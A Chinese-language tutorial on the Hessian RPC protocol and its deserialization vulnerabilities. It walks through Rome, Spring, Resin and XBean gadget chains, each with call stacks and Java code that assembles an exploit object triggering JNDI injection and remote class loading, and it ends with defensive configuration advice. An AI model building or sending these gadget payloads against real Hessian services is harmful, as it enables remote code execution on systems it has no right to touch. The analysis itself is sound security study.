超详细解析Hessian利用链
字数 2307 2025-08-06 08:35:30
Hessian利用链深入分析与实践指南
一、Hessian协议基础
1.1 Hessian简介
Hessian是一种基于二进制的轻量级网络传输协议,用于应用程序间的远程过程调用(RPC),由Caucho Technology开发,在Java社区广泛应用。
核心特点:
- 轻量级:二进制格式,网络带宽和存储空间占用小
- 跨语言支持:Java、C#、Python、Ruby等多语言实现
- 简单易用:提供简单API,自动处理序列化和网络传输
- 高效性能:相比文本协议(XML-RPC/SOAP)有更高速度
- 数据类型支持:基本类型、对象、数组、集合、映射等
- 安全性:支持SSL/TLS加密和身份验证
1.2 基本使用方式
Servlet方式实现
服务端实现:
- 定义接口:
package org.example;
public interface Basic {
public String SayHello();
}
- 实现服务类(继承HessianServlet):
package org.example;
import com.caucho.hessian.server.HessianServlet;
public class BasicService extends HessianServlet implements Basic {
public String greeting = "Hello, hessian.";
public String SayHello() {
return greeting;
}
}
- 配置web.xml:
<servlet>
<servlet-name>hello</servlet-name>
<servlet-class>org.example.BasicService</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>hello</servlet-name>
<url-pattern>/hello</url-pattern>
</servlet-mapping>
客户端调用:
package org.example;
import com.caucho.hessian.client.HessianProxyFactory;
public class BasicClient {
public static void main(String[] args) throws Exception {
String url = "http://localhost:8090/hessian_servlet_war_exploded/hello";
HessianProxyFactory factory = new HessianProxyFactory();
Basic basic = (Basic)factory.create(Basic.class, url);
System.out.println(basic.SayHello());
}
}
Spring集成方式
- 定义服务接口:
public interface MyService {
String sayHello();
}
- 实现服务:
public class MyServiceImpl implements MyService {
@Override
public String sayHello() {
return "Hello, Hessian!";
}
}
- 服务端配置:
<bean name="/myService" class="org.springframework.remoting.caucho.HessianServiceExporter">
<property name="service" ref="myService" />
<property name="serviceInterface" value="com.example.MyService" />
</bean>
<bean id="myService" class="com.example.MyServiceImpl" />
- 客户端配置:
<bean id="myServiceProxy" class="org.springframework.remoting.caucho.HessianProxyFactoryBean">
<property name="serviceUrl" value="http://localhost:8080/myService" />
<property name="serviceInterface" value="com.example.MyService" />
</bean>
- 客户端使用:
@Autowired
private MyService myServiceProxy;
public void doSomething() {
String result = myServiceProxy.sayHello();
System.out.println(result);
}
1.3 序列化与反序列化
关键类:
Hessian2Output/Hessian2Input:序列化/反序列化核心类SerializerFactory:序列化工厂,管理序列化器Serializer:定义序列化/反序列化方法的抽象类JavaSerializer:默认Java对象序列化器
示例:
- 准备可序列化类:
package org.example;
import java.io.Serializable;
public class Student implements Serializable {
public String name;
public int age;
// 构造方法、toString()等
}
- 序列化:
Student stu = new Student("aaa", 18);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(bos);
output.writeObject(stu);
output.close();
- 反序列化:
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
Hessian2Input input = new Hessian2Input(bis);
Object obj = input.readObject();
System.out.println(obj.toString());
二、Hessian利用链分析
2.1 Rome利用链
利用链:
JdbcRowSetImpl.getDatabaseMetaData()
ToStringBean.toString() (com.sun.syndication.feed.impl)
EqualsBean.beanHashCode() (com.sun.syndication.feed.impl)
ObjectBean.hashCode()
HashMap.hash()
HashMap.put()
MapDeserializer.readMap()
SerializerFactory.readMap()
Hessian2Input.readObject()
EXP构造:
// ldap url
String url = "ldap://127.0.0.1:1389/czhupn";
// 创建JdbcRowSetImpl对象
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName(url);
// 创建toStringBean对象
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
// 创建ObjectBean
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
// 创建HashMap
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(objectBean, "aaaa");
// 序列化与反序列化...
调用栈分析:
Hessian2Input.readObject()开始反序列化- 遇到Map对象,进入
SerializerFactory.readMap() MapDeserializer.readMap()读取键值对- 在HashMap.put操作时触发
ObjectBean.hashCode() - 通过
EqualsBean.beanHashCode()调用ToStringBean.toString() - 最终触发
JdbcRowSetImpl.getDatabaseMetaData()导致JNDI注入
2.2 Spring PartiallyComparableAdvisorHolder链
利用链:
SimpleJndiBeanFactory.doGetType()
SimpleJndiBeanFactory.getType()
BeanFactoryAspectInstanceFactory.getOrder()
AbstractAspectJAdvice.getOrder()
AspectJPointcutAdvisor.getOrder()
AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder.toString()
XString.equals()
HotSwappableTargetSource.equals()
HashMap.putVal()
HashMap.put()
MapDeserializer.readMap()
SerializerFactory.readMap()
Hessian2Input.readObject()
EXP构造关键点:
// 设置SimpleJndiBeanFactory
SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();
// 构造BeanFactoryAspectInstanceFactory
AspectInstanceFactory beanFactoryAspectInstanceFactory = createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
setFiled(beanFactoryAspectInstanceFactory, "beanFactory", simpleJndiBeanFactory);
setFiled(beanFactoryAspectInstanceFactory, "name", url);
// 构造AspectJAroundAdvice
AbstractAspectJAdvice aspectJAroundAdvice = createWithoutConstructor(AspectJAroundAdvice.class);
setFiled(aspectJAroundAdvice, "aspectInstanceFactory", beanFactoryAspectInstanceFactory);
// 构造AspectJPointcutAdvisor
AspectJPointcutAdvisor aspectJPointcutAdvisor = createWithoutConstructor(AspectJPointcutAdvisor.class);
setFiled(aspectJPointcutAdvisor, "advice", aspectJAroundAdvice);
// 构造PartiallyComparableAdvisorHolder
Object partially = createWithoutConstructor(aClass);
setFiled(partially, "advisor", aspectJPointcutAdvisor);
// 通过HotSwappableTargetSource触发
HotSwappableTargetSource targetSource1 = new HotSwappableTargetSource(partially);
HotSwappableTargetSource targetSource2 = new HotSwappableTargetSource(new XString("aaa"));
触发流程:
- HashMap.put操作触发equals比较
- 通过HotSwappableTargetSource.equals()调用target的equals方法
- XString.equals()调用参数的toString()
- PartiallyComparableAdvisorHolder.toString()调用getOrder()
- 最终通过SimpleJndiBeanFactory.doGetType()触发JNDI注入
2.3 Spring AbstractBeanFactoryPointcutAdvisor链
利用链:
SimpleJndiBeanFactory.getBean()
AbstractBeanFactoryPointcutAdvisor.getAdvice()
AbstractPointcutAdvisor.equals()
HotSwappableTargetSource.equals()
HashMap.putVal()
HashMap.put()
MapDeserializer.readMap()
SerializerFactory.readMap()
Hessian2Input.readObject()
EXP构造:
SimpleJndiBeanFactory beanFactory = new SimpleJndiBeanFactory();
beanFactory.setShareableResources(url);
DefaultBeanFactoryPointcutAdvisor advisor1 = (DefaultBeanFactoryPointcutAdvisor)constructor.newInstance();
advisor1.setAdviceBeanName(url);
advisor1.setBeanFactory(beanFactory);
HotSwappableTargetSource targetSource1 = new HotSwappableTargetSource("1");
HotSwappableTargetSource targetSource2 = new HotSwappableTargetSource("2");
// 通过反射设置target属性
setFiled("org.springframework.aop.target.HotSwappableTargetSource", targetSource1, "target", advisor1);
关键点:
- 通过AbstractPointcutAdvisor.equals()触发getAdvice()
- AbstractBeanFactoryPointcutAdvisor.getAdvice()调用SimpleJndiBeanFactory.getBean()
- 最终触发JNDI注入
2.4 Resin链
利用链:
NamingManager.getObjectFactoryFromReference()
NamingManager.getObjectInstance()
NamingManager.getContext()
ContinuationContext.getTargetContext()
ContinuationContext.composeName()
QName.toString()
XString.equals()
HashMap.putVal()
HashMap.put()
MapDeserializer.readMap()
SerializerFactory.readMap()
Hessian2Input.readObject()
EXP构造:
Reference ref = new Reference(refClassName, refClassName, refAddr);
// 构造CannotProceedException
Object cannotProceedException = Class.forName("javax.naming.CannotProceedException").newInstance();
setFiled("javax.naming.NamingException", cannotProceedException, "resolvedObj", ref);
// 构造ContinuationContext
Context continuationContext = (Context)constructor.newInstance(cannotProceedException, new Hashtable<>());
// 构造QName和XString
QName qName = new QName(continuationContext, "aaa", "bbb");
String str = unhash(qName.hashCode());
XString xString = new XString(str);
关键点:
- 通过QName.toString()触发ContinuationContext.composeName()
- 最终通过NamingManager.getObjectFactoryFromReference()加载远程恶意类
- 需要精确计算XString的hash值以匹配QName的hash
2.5 XBean链
利用链:
NamingManager.getObjectFactoryFromReference()
NamingManager.getObjectInstance()
ContextUtil.resolve()
ContextUtil$ReadOnlyBinding.getObject()
Binding.toString()
XString.equals()
HotSwappableTargetSource.equals()
HashMap.putVal()
HashMap.put()
MapDeserializer.readMap()
SerializerFactory.readMap()
Hessian2Input.readObject()
EXP构造:
Reference ref = new Reference(refClassName, refClassName, refAddr);
WritableContext writableContext = new WritableContext();
// 构造ReadOnlyBinding
Object readOnlyBinding = Class.forName(classname)
.getDeclaredConstructor(String.class, Object.class, Context.class)
.newInstance("aaa", ref, writableContext);
// 通过HotSwappableTargetSource触发
HotSwappableTargetSource targetSource1 = new HotSwappableTargetSource(readOnlyBinding);
触发流程:
- HotSwappableTargetSource.equals()触发XString.equals()
- XString.equals()调用ReadOnlyBinding.toString()
- 通过Binding.toString()调用getObject()
- ContextUtil.resolve()处理Reference对象
- 最终通过NamingManager加载远程恶意类
三、防御建议
-
Hessian安全配置:
- 使用最新版本Hessian库
- 配置SerializerFactory的allowNonSerializable为false
- 实现自定义的SerializerFactory,限制反序列化类
-
JNDI防护:
- 升级JDK版本(≥8u191/11.0.1/7u201/6u211)
- 配置JVM参数禁止JNDI远程加载:
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false -Dcom.sun.jndi.rmi.object.trustURLCodebase=false
-
其他防护措施:
- 使用白名单机制限制反序列化类
- 网络层面限制出站连接
- 监控和过滤异常的序列化数据
四、总结
Hessian协议因其高效和跨语言特性被广泛应用于分布式系统中,但不当的反序列化实现可能导致严重的安全问题。本文详细分析了多种Hessian利用链,从Rome链到Spring相关链,再到Resin和XBean链,展示了攻击者如何通过精心构造的序列化数据实现远程代码执行。
理解这些利用链不仅有助于防御,也能帮助开发人员构建更安全的序列化机制。在实际开发中,应当:
- 严格控制反序列化的数据来源
- 及时更新相关组件到安全版本
- 实施深度防御策略,从网络到应用层全面防护
- 定期进行安全审计和渗透测试
通过全面的安全措施,可以在享受Hessian高效通信的同时,有效防范反序列化漏洞带来的风险。